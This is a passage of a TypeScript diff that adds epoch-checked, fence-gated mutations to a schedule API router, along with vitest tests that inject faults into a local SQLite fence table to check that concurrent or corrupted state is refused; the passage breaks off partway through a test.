   type ScheduleTargetPolicy,
@@ -93,15 +106,24 @@ import { isReservedScheduleContextKey } from './tick.js';
 
 /** The storage subset the facade reads/writes (a subset of D1SchedulesStorage). */
 export interface ScheduleFacadeStore {
+  readonly [FENCED_SCHEDULE_STORAGE]?: FencedScheduleMutationCapability;
   createOwnedSchedule(
     schedule: AuthorizedSchedule,
     owner: ResourceOwner,
     maxSchedules: number,
+    context?: MutationEpochContext,
   ): Promise<Schedule | null>;
   getSchedule(id: string): Promise<Schedule | null>;
   listSchedules(filter?: ScheduleFilter): Promise<Schedule[]>;
-  updateSchedule(id: string, patch: ScheduleUpdate): Promise<Schedule>;
-  deleteOwnedSchedule(id: string): Promise<'deleted' | 'pending'>;
+  updateSchedule(
+    id: string,
+    patch: ScheduleUpdate,
+    context?: MutationEpochContext,
+  ): Promise<Schedule>;
+  deleteOwnedSchedule(
+    id: string,
+    context?: MutationEpochContext,
+  ): Promise<'deleted' | 'pending'>;
   listTriggers(
     scheduleId: string,
     opts?: ScheduleTriggerListOptions,
@@ -147,11 +169,7 @@ export interface ScheduleRouterOptions {
   targetPolicy: ScheduleTargetPolicy;
   /** Prove fixed-thread agent targets are durable bound memory. */
   validateThreadTarget: BoundThreadTargetValidator;
-  /**
-   * Who may create/update/delete/pause/resume. Default RUN_START_ROLES
-   * (operator/admin) — reviewers/viewers cannot author schedules. Reads (get/
-   * list/triggers) are not role-gated beyond ownership.
-   */
+  /** Roles allowed to mutate schedules. Defaults to RUN_START_ROLES. */
   roles?: readonly ApprovalRole[];
   /** Every mutation (and denied read) is audited through this. Absent ⇒ no audit. */
   audit?: ScheduleRouteAuditSink;
@@ -175,17 +193,10 @@ export interface ScheduleRouterOptions {
    */
   maxContentBytes?: number;
   /**
-   * The deployment execution fence, or `'none'` for a router with no database
-   * behind it. REQUIRED: a router receives a store facade and a resolver, not a
-   * database, so it cannot build one for itself the way `init({ DB })` can —
-   * which leaves the host as the only place the wiring can happen, and an
-   * option a host may omit is one a host will omit. See ExecutionFenceWiring
-   * for the split-brain this closes (an unfenced surface next to a fenced
-   * runtime consumes work it then cannot run).
-   *
-   * The gate itself is the runtime's refusal made earlier: an operator draining
-   * a deployment sees a schedule create refused at the API instead of accepted
-   * and then never fired.
+   * The early state gate. A configured fence requires the store's same-binding
+   * mutation capability before epoch activation can race a waiting request.
+   * `'none'` supports method-only custom facades; an advertised capability still
+   * applies its storage-level mutation guards.
    */
   executionFence: ExecutionFenceWiring;
   /** Route prefix. Default '/api/schedules'. */
@@ -695,21 +706,79 @@ function buildCreateRow(
   };
 }
 
-/**
- * The operations the execution fence blocks past `open`: every one of them
- * ARMS a future fire. `pause` and `delete` are deliberately absent — they take
- * work away, which is what a drain wants — and so are the three reads.
- */
 const FENCE_GATED_SCHEDULE_OPERATIONS = new Set<ScheduleOperation>([
   'create',
   'update',
   'resume',
 ]);
 
+function captureScheduleMutations(
+  store: ScheduleFacadeStore,
+  executionFence: ExecutionFenceWiring,
+): FencedScheduleMutationCapability | undefined {
+  const capability = store[FENCED_SCHEDULE_STORAGE];
+  if (capability === undefined) {
+    if (executionFence !== 'none') {
+      throw new Error('fenced schedule storage capability is unavailable');
+    }
+    return undefined;
+  }
+  if (
+    capability === null ||
+    typeof capability !== 'object' ||
+    Array.isArray(capability)
+  ) {
+    throw new Error('schedule mutation capability is malformed');
+  }
+  const {
+    database,
+    createOwnedSchedule,
+    updateSchedule,
+    pauseSchedule,
+    resumeSchedule,
+    deleteOwnedSchedule,
+    observeScheduleMutation,
+  } = capability;
+  if (
+    !database ||
+    typeof database !== 'object' ||
+    Array.isArray(database) ||
+    typeof database.prepare !== 'function' ||
+    typeof database.batch !== 'function' ||
+    typeof createOwnedSchedule !== 'function' ||
+    typeof updateSchedule !== 'function' ||
+    typeof pauseSchedule !== 'function' ||
+    typeof resumeSchedule !== 'function' ||
+    typeof deleteOwnedSchedule !== 'function' ||
+    typeof observeScheduleMutation !== 'function'
+  ) {
+    throw new Error('schedule mutation capability is malformed');
+  }
+  if (executionFence !== 'none' && !executionFence.usesDatabase(database)) {
+    throw new Error('schedule storage binding disagrees with execution fence');
+  }
+  return {
+    database,
+    createOwnedSchedule: createOwnedSchedule.bind(capability),
+    updateSchedule: updateSchedule.bind(capability),
+    pauseSchedule: pauseSchedule.bind(capability),
+    resumeSchedule: resumeSchedule.bind(capability),
+    deleteOwnedSchedule: deleteOwnedSchedule.bind(capability),
+    observeScheduleMutation: observeScheduleMutation.bind(capability),
+  };
+}
+
 export function createScheduleRouter(
   options: ScheduleRouterOptions,
 ): ScheduleRouter {
-  const { executionFence, resolve, store, targetPolicy } = options;
+  const {
+    executionFence,
+    resolve,
+    store,
+    targetPolicy,
+    audit: auditSink,
+  } = options;
+  const mutations = captureScheduleMutations(store, executionFence);
   const roles = options.roles ?? RUN_START_ROLES;
   const maxSchedules = nonnegativeSafeInteger(
     options.maxSchedules ?? 100,
@@ -762,45 +831,57 @@ export function createScheduleRouter(
     // no-ops while it is — so a pre-auth failure never writes the log (an
     // unauthenticated flood cannot spam the audit sink).
     let context: ActorContext | undefined;
+    const reportError = (
+      type: 'schedule.route-audit-error' | 'schedule.route-mutation-error',
+      error: unknown,
+    ): void => {
+      try {
+        console.error(
+          JSON.stringify({
+            type,
+            operation,
+            ...(id !== undefined ? { scheduleId: id } : {}),
+            reason: hostErrorText(error, true),
+          }),
+          error,
+        );
+      } catch {
+        // Diagnostics cannot change the request's selected outcome.
+      }
+    };
     const audit = async (
       outcome: 'accepted' | 'rejected',
       reason?: string,
     ): Promise<void> => {
-      if (!options.audit || !context) return;
+      if (!auditSink || !context) return;
       // A benign read is not audited; only its denial is.
       if (!isMutation && outcome === 'accepted') return;
-      await options.audit({
-        type: 'schedule.route',
-        ...(context.deploymentTag !== undefined
-          ? { deploymentTag: context.deploymentTag }
-          : {}),
-        actorId: context.actor.id,
-        operation,
-        ...(id !== undefined ? { scheduleId: id } : {}),
-        outcome,
-        ...(reason !== undefined ? { reason } : {}),
-        timestamp: new Date().toISOString(),
-      });
-    };
-    const auditCommittedMutation = async (): Promise<void> => {
       try {
-        await audit('accepted');
+        await auditSink.call(options, {
+          type: 'schedule.route',
+          ...(context.deploymentTag !== undefined
+            ? { deploymentTag: context.deploymentTag }
+            : {}),
+          actorId: context.actor.id,
+          operation,
+          ...(id !== undefined ? { scheduleId: id } : {}),
+          outcome,
+          ...(reason !== undefined ? { reason } : {}),
+          timestamp: new Date().toISOString(),
+        });
       } catch (error) {
-        console.error(
-          JSON.stringify({
-            type: 'schedule.route-audit-error',
-            operation,
-            ...(id !== undefined ? { scheduleId: id } : {}),
-            reason: error instanceof Error ? error.message : String(error),
-          }),
-        );
+        reportError('schedule.route-audit-error', error);
       }
     };
 
     try {
       // 1. Resolve.
-      context = await resolve(request);
-      if (!context) return json({ error: 'authentication required' }, 401);
+      const resolved = await resolve(request);
+      if (!resolved) return json({ error: 'authentication required' }, 401);
+      context = captureActorContext(resolved);
+      const mutation: MutationEpochContext = Object.freeze({
+        mutationEpoch: context.mutationEpoch,
+      });
 
       // CREATE has no resource to resolve yet, so its coarse role gate comes
       // immediately after authentication.
@@ -882,11 +963,18 @@ export function createScheduleRouter(
           options.validateThreadTarget,
         );
         const row = scheduleWithCreatorRole(built.value, context.actor.role);
-        const created = await store.createOwnedSchedule(
-          row,
-          context.resourceOwner,
-          maxSchedules,
-        );
+        const created = mutations
+          ? await mutations.createOwnedSchedule(
+              row,
+              context.resourceOwner,
+              maxSchedules,
+              mutation,
+            )
+          : await store.createOwnedSchedule(
+              row,
+              context.resourceOwner,
+              maxSchedules,
+            );
         if (!created) {
           await audit('rejected', 'schedule-count-cap');
           return json(
@@ -894,7 +982,7 @@ export function createScheduleRouter(
             400,
           );
         }
-        await auditCommittedMutation();
+        await audit('accepted');
         return json({ schedule: toView(created) }, 201);
       }
 
@@ -925,14 +1013,28 @@ export function createScheduleRouter(
       }
 
       if (operation === 'delete') {
-        const outcome = await store.deleteOwnedSchedule(scheduleId);
-        await auditCommittedMutation();
+        const outcome = mutations
+          ? await mutations.deleteOwnedSchedule(scheduleId, mutation)
+          : await store.deleteOwnedSchedule(scheduleId);
+        await audit('accepted');
         return outcome === 'pending'
           ? json({ ok: true, pending: true }, 202)
           : json({ ok: true });
       }
 
-      const existing = await store.getSchedule(scheduleId);
+      let existing = await store.getSchedule(scheduleId);
+      if (
+        existing &&
+        mutations &&
+        ((operation === 'pause' && existing.status === 'paused') ||
+          (operation === 'resume' && existing.status === 'active'))
+      ) {
+        existing = await mutations.observeScheduleMutation(
+          scheduleId,
+          operation,
+          mutation,
+        );
+      }
       if (!existing) {
         await audit('rejected', 'not-found');
         return json({ error: 'not found' }, 404);
@@ -944,19 +1046,19 @@ export function createScheduleRouter(
 
       if (operation === 'pause') {
         if (existing.status === 'paused') {
-          await auditCommittedMutation();
+          await audit('accepted');
           return json({ schedule: toView(existing) });
         }
-        const updated = await store.updateSchedule(scheduleId, {
-          status: 'paused',
-        });
-        await auditCommittedMutation();
+        const updated = mutations
+          ? await mutations.pauseSchedule(scheduleId, mutation)
+          : await store.updateSchedule(scheduleId, { status: 'paused' });
+        await audit('accepted');
         return json({ schedule: toView(updated) });
       }
 
       if (operation === 'resume') {
         if (existing.status === 'active') {
-          await auditCommittedMutation();
+          await audit('accepted');
           return json({ schedule: toView(existing) });
         }
         // Re-activating recomputes nextFireAt from now (core's resume semantics).
@@ -973,11 +1075,21 @@ export function createScheduleRouter(
           return json({ error: nextFire.error.message }, nextFire.error.status);
         }
         const nextFireAt = nextFire.value;
-        const updated = await store.updateSchedule(scheduleId, {
-          status: 'active',
-          nextFireAt,
-        });
-        await auditCommittedMutation();
+        const updated = mutations
+          ? await mutations.resumeSchedule(
+              scheduleId,
+              {
+                expectedCron: existing.cron,
+                expectedTimezone: existing.timezone,
+                nextFireAt,
+              },
+              mutation,
+            )
+          : await store.updateSchedule(scheduleId, {
+              status: 'active',
+              nextFireAt,
+            });
+        await audit('accepted');
         return json({ schedule: toView(updated) });
       }
 
@@ -1028,8 +1140,10 @@ export function createScheduleRouter(
           options.validateThreadTarget,
         );
       }
-      const updated = await store.updateSchedule(scheduleId, patch.value);
-      await auditCommittedMutation();
+      const updated = mutations
+        ? await mutations.updateSchedule(scheduleId, patch.value, mutation)
+        : await store.updateSchedule(scheduleId, patch.value);
+      await audit('accepted');
       return json({ schedule: toView(updated) });
     } catch (error) {
       // A fence that could not be READ is not evidence the deployment is open,
@@ -1037,7 +1151,32 @@ export function createScheduleRouter(
       // generic 500 below — an operator must be able to tell a deployment
       // that is being migrated from one that is broken.
       if (isExecutionFenceRefusal(error)) {
-        await audit('rejected', 'execution-fence-unreadable');
+        await audit(
+          'rejected',
+          error.reason.code === 'EXECUTION_FENCED'
+            ? 'execution-fenced'
+            : 'execution-fence-unreadable',
+        );
+        return json(
+          { error: error.message, reason: error.reason },
+          error.status,
+        );
+      }
+      if (
+        error instanceof InvalidMutationEpochError ||
+        error instanceof MutationEpochMismatchError ||
+        error instanceof ScheduleMutationConflictError ||
+        error instanceof ScheduleMutationOutcomeUnknownError
+      ) {
+        if (error instanceof ScheduleMutationOutcomeUnknownError) {
+          reportError('schedule.route-mutation-error', error);
+        }
+        await audit(
+          'rejected',
+          'classification' in error.reason
+            ? `${error.reason.code}:${error.reason.classification}`
+            : error.reason.code,
+        );
         return json(
           { error: error.message, reason: error.reason },
           error.status,
diff --git a/packages/flowsafe/src/schedules/schedules-d1.test.ts b/packages/flowsafe/src/schedules/schedules-d1.test.ts
index 137ced1b..f643b94a 100644
--- a/packages/flowsafe/src/schedules/schedules-d1.test.ts
+++ b/packages/flowsafe/src/schedules/schedules-d1.test.ts
@@ -3,13 +3,29 @@
 // harness owns real-D1 CAS, concurrency, ownership, and rollback evidence.
 
 import type { Schedule } from '@mastra/core/storage';
-import { describe, expect, it } from 'vitest';
+import { describe, expect, it, vi } from 'vitest';
 
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 import {
   D1ResourceOwnershipStore,
   type ResourceOwnershipDatabase,
 } from '../approval-api/index.js';
+import {
+  InvalidMutationEpochError,
+  type MutationEpochContext,
+  MutationEpochMismatchError,
+} from '../do-runner/execution-admission.js';
+import {
+  ExecutionFencedError,
+  type ExecutionFenceState,
+  ExecutionFenceStore,
+  ExecutionFenceUnreadableError,
+} from '../do-runner/execution-fence.js';
+import {
+  FENCED_SCHEDULE_STORAGE,
+  ScheduleMutationConflictError,
+  ScheduleMutationOutcomeUnknownError,
+} from './mutation-contract.js';
 import {
   D1SchedulesStorage,
   parseScheduleAgentDispatchReceipt,
@@ -44,6 +60,175 @@ function workflowSchedule(overrides: Partial<Schedule> = {}): Schedule {
   };
 }
 
+async function mutationFixture() {
+  const sqlite = openSqlite();
+  const native = sqliteUnitDatabase(sqlite) as ScheduleDatabase &
+    Required<Pick<ScheduleDatabase, 'batch'>>;
+  const hooks: {
+    beforeBatch?: () => void | Promise<void>;
+    afterBatch?: (results: unknown[]) => unknown[];
+  } = {};
+  const sql: string[] = [];
+  let batches = 0;
+  const binding: ScheduleDatabase = {
+    prepare(query) {
+      expect(this).toBe(binding);
+      sql.push(query);
+      return native.prepare(query);
+    },
+    async batch(statements) {
+      expect(this).toBe(binding);
+      batches += 1;
+      const before = hooks.beforeBatch;
+      hooks.beforeBatch = undefined;
+      await before?.();
+      const results = await native.batch(statements);
+      // The hooks hand back `unknown[]` on purpose: that is what a wrong
+      // adapter returns.
+      return hooks.afterBatch
+        ? (hooks.afterBatch(results) as Awaited<
+            ReturnType<NonNullable<ScheduleDatabase['batch']>>
+          >)
+        : results;
+    },
+  };
+  const store = new D1SchedulesStorage(binding);
+  const fence = new ExecutionFenceStore(binding);
+  await store.createOwnedSchedule(
+    scheduleWithCreatorRole(workflowSchedule(), 'operator'),
+    { kind: 'human', id: 'opal' },
+    100,
+  );
+  return {
+    sqlite,
+    store,
+    fence,
+    binding,
+    native,
+    hooks,
+    sql,
+    batches: () => batches,
+  };
+}
+
+type MutationFixture = Awaited<ReturnType<typeof mutationFixture>>;
+
+async function moveFence(
+  fence: ExecutionFenceStore,
+  next: ExecutionFenceState,
+  advanceMutationEpoch = false,
+) {
+  const current = await fence.read();
+  return fence.transition({
+    expected: current.state,
+    next,
+    expectedMutationEpoch: current.mutationEpoch,
+    expectedRevision: current.transitionRevision,
+    advanceMutationEpoch,
+    ...(next === 'proof-only' ? { proofKey: 'schedule-proof' } : {}),
+  });
+}
+
+async function activateFence(fence: ExecutionFenceStore) {
+  await moveFence(fence, 'draining', true);
+  await moveFence(fence, 'open');
+}
+
+function rawScheduleState(fixture: MutationFixture) {
+  return [
+    fixture.sqlite.prepare('SELECT * FROM mastra_schedules ORDER BY id').all(),
+    fixture.sqlite
+      .prepare('SELECT * FROM mastra_schedule_triggers ORDER BY id')
+      .all(),
+    fixture.sqlite
+      .prepare(
+        'SELECT * FROM flowsafe_resource_owners ORDER BY resource_kind, resource_id',
+      )
+      .all(),
+  ];
+}
+
+const mutationCases: Array<{
+  name: string;
+  operation: 'author' | 'drain';
+  run: (
+    fixture: MutationFixture,
+    context?: MutationEpochContext,
+  ) => Promise<unknown>;
+}> = [
+  {
+    name: 'create',
+    operation: 'author',
+    run: (f, context) =>
+      f.store.createSchedule(workflowSchedule({ id: 'created' }), context),
+  },
+  {
+    name: 'owned create',
+    operation: 'author',
+    run: (f, context) =>
+      f.store.createOwnedSchedule(
+        scheduleWithCreatorRole(
+          workflowSchedule({ id: 'created' }),
+          'operator',
+        ),
+        { kind: 'human', id: 'opal' },
+        100,
+        context,
+      ),
+  },
+  {
+    name: 'update',
+    operation: 'author',
+    run: (f, context) =>
+      f.store.updateSchedule(
+        'schedule_a',
+        { metadata: { changed: true } },
+        context,
+      ),
+  },
+  {
+    name: 'pause',
+    operation: 'drain',
+    run: (f, context) => f.store.pauseSchedule('schedule_a', context),
+  },
+  {
+    name: 'resume',
+    operation: 'author',
+    run: (f, context) =>
+      f.store.resumeSchedule(
+        'schedule_a',
+        {
+          expectedCron: '* * * * *',
+          expectedTimezone: undefined,
+          nextFireAt: NOW + 60_000,
+        },
+        context,
+      ),
+  },
+  {
+    name: 'delete',
+    operation: 'drain',
+    run: (f, context) => f.store.deleteSchedule('schedule_a', context),
+  },
+  {
+    name: 'owned delete',
+    operation: 'drain',
+    run: (f, context) => f.store.deleteOwnedSchedule('schedule_a', context),
+  },
+  {
+    name: 'pause observation',
+    operation: 'drain',
+    run: (f, context) =>
+      f.store.observeScheduleMutation('schedule_a', 'pause', context ?? {}),
+  },
+  {
+    name: 'resume observation',
+    operation: 'author',
+    run: (f, context) =>
+      f.store.observeScheduleMutation('schedule_a', 'resume', context ?? {}),
+  },
+];
+
 describe('schedule agent dispatch receipts', () => {
   it.each([
     ['wake', 'succeeded'],
@@ -223,7 +408,12 @@ describe('D1SchedulesStorage', () => {
 
     await expect(
       store.createOwnedSchedule(schedule, { kind: 'human', id: 'opal' }, 100),
-    ).rejects.toThrow(/injected owner failure/);
+    ).rejects.toMatchObject({
+      name: 'ScheduleMutationOutcomeUnknownError',
+      cause: expect.objectContaining({
+        message: expect.stringMatching(/injected owner failure/),
+      }),
+    });
 
     expect(await store.getSchedule(schedule.id)).toBeNull();
   });
@@ -828,9 +1018,12 @@ describe('D1SchedulesStorage', () => {
       WHEN OLD.resource_kind = 'schedule'
       BEGIN SELECT RAISE(ABORT, 'injected owner delete failure'); END`);
 
-    await expect(store.deleteOwnedSchedule(schedule.id)).rejects.toThrow(
-      /injected owner delete failure/,
-    );
+    await expect(store.deleteOwnedSchedule(schedule.id)).rejects.toMatchObject({
+      name: 'ScheduleMutationOutcomeUnknownError',
+      cause: expect.objectContaining({
+        message: expect.stringMatching(/injected owner delete failure/),
+      }),
+    });
 
     expect(await store.getSchedule(schedule.id)).toEqual(schedule);
     expect(await resources.owner('schedule', schedule.id)).toEqual(owner);
@@ -851,9 +1044,12 @@ describe('D1SchedulesStorage', () => {
       BEFORE DELETE ON mastra_schedules
       BEGIN SELECT RAISE(ABORT, 'injected delete failure'); END`);
 
-    await expect(store.deleteSchedule('schedule_a')).rejects.toThrow(
-      /injected delete failure/,
-    );
+    await expect(store.deleteSchedule('schedule_a')).rejects.toMatchObject({
+      name: 'ScheduleMutationOutcomeUnknownError',
+      cause: expect.objectContaining({
+        message: expect.stringMatching(/injected delete failure/),
+      }),
+    });
     expect(await store.getSchedule('schedule_a')).not.toBeNull();
     expect(await store.listTriggers('schedule_a')).toHaveLength(1);
   });
@@ -949,3 +1145,837 @@ describe('D1SchedulesStorage', () => {
     expect((await store.getSchedule('schedule_a'))?.nextFireAt).toBe(NOW);
   });
 });
+
+describe('schedule mutation epochs', () => {
+  for (const testCase of mutationCases) {
+    it(`${testCase.name} retains optional-epoch compatibility`, async () => {
+      const f = await mutationFixture();
+      await expect(testCase.run(f)).resolves.not.toBeNull();
+    });
+
+    it(`${testCase.name} accepts the active epoch`, async () => {
+      const f = await mutationFixture();
+      await activateFence(f.fence);
+      await expect(
+        testCase.run(f, { mutationEpoch: 1 }),
+      ).resolves.not.toBeNull();
+    });
+
+    it.each([
+      [undefined, 'missing'],
+      [0, 'stale'],
+      [2, 'future'],
+    ] as const)(`${testCase.name} refuses %s with %s classification`, async (mutationEpoch, classification) => {
+      const f = await mutationFixture();
+      await activateFence(f.fence);
+      const before = rawScheduleState(f);
+      await expect(testCase.run(f, { mutationEpoch })).rejects.toMatchObject({
+        status: 409,
+        reason: {
+          code: 'MUTATION_EPOCH_MISMATCH',
+          classification,
+          mutationEpoch: 1,
+        },
+      });
+      expect(rawScheduleState(f)).toEqual(before);
+    });
+
+    it.each([
+      -1,
+      0.5,
+      Number.NaN,
+      Infinity,
+      '1',
+      null,
+    ])(`${testCase.name} rejects malformed epoch %s before SQL`, async (mutationEpoch) => {
+      const f = await mutationFixture();
+      f.sql.length = 0;
+      await expect(
+        testCase.run(f, { mutationEpoch: mutationEpoch as number }),
+      ).rejects.toBeInstanceOf(InvalidMutationEpochError);
+      expect(f.sql).toEqual([]);
+    });
+
+    it(`${testCase.name} rejects a held legacy caller after activation and reopen`, async () => {
+      const f = await mutationFixture();
+      const before = rawScheduleState(f);
+      f.hooks.beforeBatch = () => activateFence(f.fence);
+      await expect(testCase.run(f)).rejects.toBeInstanceOf(
+        MutationEpochMismatchError,
+      );
+      expect(rawScheduleState(f)).toEqual(before);
+    });
+
+    it(`${testCase.name} rejects an unchanged epoch after the observed frame changes`, async () => {
+      const f = await mutationFixture();
+      await activateFence(f.fence);
+      const before = rawScheduleState(f);
+      f.hooks.beforeBatch = async () => {
+        await moveFence(f.fence, 'draining');
+        await moveFence(f.fence, 'open');
+      };
+      await expect(testCase.run(f, { mutationEpoch: 1 })).rejects.toMatchObject(
+        {
+          reason: {
+            code: 'SCHEDULE_MUTATION_CONFLICT',
+            classification: 'fence-changed',
+          },
+        },
+      );
+      expect(rawScheduleState(f)).toEqual(before);
+    });
+
+    for (const state of [
+      'draining',
+      'migration-locked',
+      'proof-only',
+    ] as const) {
+      it(`${testCase.name} applies its state policy in ${state}`, async () => {
+        const f = await mutationFixture();
+        await activateFence(f.fence);
+        await moveFence(f.fence, state);
+        const before = rawScheduleState(f);
+        if (testCase.operation === 'author') {
+          await expect(
+            testCase.run(f, { mutationEpoch: 1 }),
+          ).rejects.toBeInstanceOf(ExecutionFencedError);
+          expect(rawScheduleState(f)).toEqual(before);
+        } else {
+          await expect(
+            testCase.run(f, { mutationEpoch: 1 }),
+          ).resolves.not.toBeNull();
+        }
+      });
+    }
+  }
+
+  it('generic paused-status update remains authoring', async () => {
+    const f = await mutationFixture();
+    await activateFence(f.fence);
+    await moveFence(f.fence, 'draining');
+    const before = rawScheduleState(f);
+    await expect(
+      f.store.updateSchedule(
+        'schedule_a',
+        { status: 'paused' },
+        { mutationEpoch: 1 },
+      ),
+    ).rejects.toBeInstanceOf(ExecutionFencedError);
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it.each([
+    'create',
+    'update',
+    'delete',
+    'pause observation',
+  ])('a %s final write refuses missing modern singleton state', async (name) => {
+    const f = await mutationFixture();
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () =>
+      f.sqlite.exec('DELETE FROM flowsafe_execution_fence');
+    const testCase = mutationCases.find((entry) => entry.name === name);
+    expect(testCase).toBeDefined();
+    if (!testCase) throw new Error('mutation fixture is missing');
+    await expect(testCase.run(f)).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it.each([
+    [
+      'extra schema column',
+      'ALTER TABLE flowsafe_execution_fence ADD COLUMN unrelated TEXT',
+    ],
+    [
+      'counter type',
+      "PRAGMA ignore_check_constraints=ON; UPDATE flowsafe_execution_fence SET mutation_epoch=x'30'",
+    ],
+    [
+      'receipt mismatch',
+      "UPDATE flowsafe_execution_fence SET last_transition_request='[]'",
+    ],
+    [
+      'proof binding type',
+      "UPDATE flowsafe_execution_fence SET proof_key=x'4142'",
+    ],
+    [
+      'singleton identity case',
+      "PRAGMA ignore_check_constraints=ON; UPDATE flowsafe_execution_fence SET id='DEPLOYMENT'",
+    ],
+    [
+      'extra singleton',
+      "PRAGMA ignore_check_constraints=ON; INSERT INTO flowsafe_execution_fence SELECT 'extra',state,proof_key,proof_run_id,updated_at,last_transition_request,transition_revision,mutation_epoch,require_mutation_epoch,proof_table_prefix,proof_workflow_id,proof_start_token FROM flowsafe_execution_fence",
+    ],
+  ])('refuses %s introduced at the final batch', async (_name, sql) => {
+    const f = await mutationFixture();
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () => f.sqlite.exec(sql);
+    await expect(
+      f.store.deleteOwnedSchedule('schedule_a'),
+    ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError);
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it('refuses unsupported nullable semantic bindings before preparing a mutation', async () => {
+    const f = await mutationFixture();
+    f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key=x'4142'");
+    f.sql.length = 0;
+    await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf(
+      ExecutionFenceUnreadableError,
+    );
+    expect(f.sql.some((sql) => /UPDATE mastra_schedules/.test(sql))).toBe(
+      false,
+    );
+  });
+
+  it('compares semantic strings with binary equality', async () => {
+    const f = await mutationFixture();
+    f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key='ProofKey'");
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () =>
+      f.sqlite.exec("UPDATE flowsafe_execution_fence SET proof_key='proofkey'");
+    await expect(f.store.pauseSchedule('schedule_a')).rejects.toBeInstanceOf(
+      ScheduleMutationConflictError,
+    );
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it('timestamp-only fence changes do not invalidate the semantic frame', async () => {
+    const f = await mutationFixture();
+    f.hooks.beforeBatch = () =>
+      f.sqlite.exec(
+        'UPDATE flowsafe_execution_fence SET updated_at=updated_at+1',
+      );
+    await expect(f.store.pauseSchedule('schedule_a')).resolves.toMatchObject({
+      status: 'paused',
+    });
+  });
+});
+
+describe('schedule authoring capture and observations', () => {
+  it('captures epoch, row JSON, owner getters and batch receiver before waits', async () => {
+    const f = await mutationFixture();
+    const schedule = scheduleWithCreatorRole(
+      workflowSchedule({ id: 'captured' }),
+      'operator',
+    );
+    const epoch = vi.fn(() => 0);
+    const ownerKind = vi.fn(() => 'human' as const);
+    const ownerId = vi.fn(() => 'opal');
+    const owner = {
+      get kind() {
+        return ownerKind();
+      },
+      get id() {
+        return ownerId();
+      },
+    };
+    f.hooks.beforeBatch = () => {
+      schedule.id = 'changed';
+      schedule.target = { type: 'workflow', workflowId: 'changed' };
+      schedule.metadata = { changed: true };
+      ownerId.mockReturnValue('changed');
+      epoch.mockReturnValue(100);
+    };
+    f.binding.batch = () => {
+      throw new Error('replacement receiver');
+    };
+    const result = await f.store.createOwnedSchedule(schedule, owner, 100, {
+      get mutationEpoch() {
+        return epoch();
+      },
+    });
+    expect(result).toMatchObject({
+      id: 'captured',
+      target: { workflowId: 'wf' },
+      metadata: {},
+    });
+    expect(epoch).toHaveBeenCalledTimes(1);
+    expect(ownerKind).toHaveBeenCalledTimes(1);
+    expect(ownerId).toHaveBeenCalledTimes(1);
+    expect(
+      f.sqlite
+        .prepare(
+          "SELECT owner_id FROM flowsafe_resource_owners WHERE resource_id='captured'",
+        )
+        .get(),
+    ).toEqual({ owner_id: 'opal' });
+  });
+
+  it('captures a mutable context even when a later getter would supply the active epoch', async () => {
+    const f = await mutationFixture();
+    const epoch = vi.fn().mockReturnValueOnce(0).mockReturnValue(1);
+    const before = rawScheduleState(f);
+    f.hooks.beforeBatch = () => activateFence(f.fence);
+    await expect(
+      f.store.pauseSchedule('schedule_a', {
+        get mutationEpoch() {
+          return epoch();
+        },
+      }),
+    ).rejects.toMatchObject({ reason: { classification: 'stale' } });
+    expect(epoch).toHaveBeenCalledTimes(1);
+    expect(rawScheduleState(f)).toEqual(before);
+  });
+
+  it('captures update fields once and serializes nested metadata before waiting', async () => {
+    const f = await mutationFixture();
+    const metadata = { note: 'original' };
+    const readMetadata = vi.fn(() => metadata);
+    f.hooks.beforeBatch = () => {
+      metadata.note = 'changed';
+    };
+    const updated = await f.store.updateSchedule('schedule_a', {
+      get metadata() {
+        return readMetadata();
+      },
+    });
+    expect(updated.metadata).toEqual({ note: 'original' });
+    expect(readMetadata).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    ["cron='*/5 * * * *'", 'cron'],
+    ["timezone='UTC'", 'timezone'],
+  ])('resume refuses a concurrent %s change', async (sql) => {
+    const f = await mutationFixture();
+    await f.store.pauseSchedule('schedule_a');
+    f.hooks.beforeBatch = () =>
+      f.sqlite.exec(`UPDATE mastra_schedules SET ${sql}`);
+    await expect(
+      f.store.resumeSchedule('schedule_a', {
+        expectedCron: '* * * * *',
+        expectedTimezone: undefined,
+        nextFireAt: NOW + 60_000,
+      }),
+    ).rejects.toMatchObject({
+      reason: {
+        code: 'SCHEDULE_MUTATION_CONFLICT',
+        classification: 'schedule-changed',
+      },
+    });
+    expect(await f.store.getSchedule('schedule_a')).toMatchObject({
+      status: 'paused',
+      nextFireAt: NOW,
+    });
+  });
+
+  it('resume captures its expected timezone and computed timestamp before waiting', async () => {
+    const f = await mutationFixture();
+    await f.store.pauseSchedule('schedule_a');
+    const mutation = {
+      expectedCron: '* * * * *',
+      expectedTimezone: undefined as string | undefined,
+      nextFireAt: NOW + 60_000,
+    };
+    f.hooks.beforeBatch = () => {
+      mutation.expectedTimezone = 'UTC';
+      mutation.nextFireAt = NOW + 120_000;
+    };
+    await expect(
+      f.store.resumeSchedule('schedule_a', mutation),
+    ).resolves.toMatchObject({ status: 'active', nextFireAt: NOW + 60_000 });
+  });
+
+  it('no-op observations preserve row timestamps and return current status', async () => {
+    const f = await mutationFixture();
+    const before = rawScheduleState(f);
+    await expect(
+      f.store.observeScheduleMutation('schedule_a', 'resume', {}),
+    ).resolves.toMatchObject({ status: 'active', updatedAt: NOW });
+    expect(rawScheduleState(f)).toEqual(before);
+    await f.store.pauseSchedule('schedule_a');
+    const paused = rawScheduleState(f);
+    await expect(
+      f.store.observeScheduleMutation('schedule_a', 'pause', {}),
+    ).resolves.toMatchObject({ status: 'paused' });
+    expect(rawScheduleState(f)).toEqual(paused);
+    await expect(
+      f.store.observeScheduleMutation('absent', 'pause', {}),
+    ).resolves.toBeNull();
+  });
+
+  it('returns the post-race status from a guarded observation', async () => {
+    const f = await mutationFixture();
+    f.hooks.beforeBatch = () =>
